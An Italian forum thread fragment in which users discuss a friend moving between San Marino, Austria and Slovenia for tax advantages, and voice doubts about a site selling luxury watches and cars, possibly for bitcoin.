TI ho messo qualche nota, guarda se le vedi |
|
|
|
|
Sono troppo pigro per interessarmi di queste cose,
ma so che un mio amico, che invece e' molto attento alla "convenienza" fiscale,
nel giro di pochi anni e' saltimbeccato in vari Stati europei (o presunti tali)
1) San marino.
2) Austria
3) Slovenia (attuale)
Vedendo i suoi pellegrinaggi, mi sento di affermare che una bella competizione fiscale all'interno
dell'europa unita "siamo tutti amici ma cosa dico fratelli" sia ampiamente in atto.
|
|
|
|
Oddio, nel mercato degli orologi girano tante patacche, io dunque mi terrei volentieri alla larga da questi….
eh infatti il dubbio e' bello grosso. A parte le auto (no so come fai a fare una patacca di una bugatti chiron da 5.000.000$ (ma forse se gli dai 100 bitcoin chiudono il sito e scappano per sempre)) tutta l'altra roba e' abbastanza facilmente "pataccabile" Pero' e' un bel modo per eludere le tasse... sputtanarsi una marea di soldi in queste robe fighe Hai visto la sezione alcolici? |
|
|
|
|
Show Posts
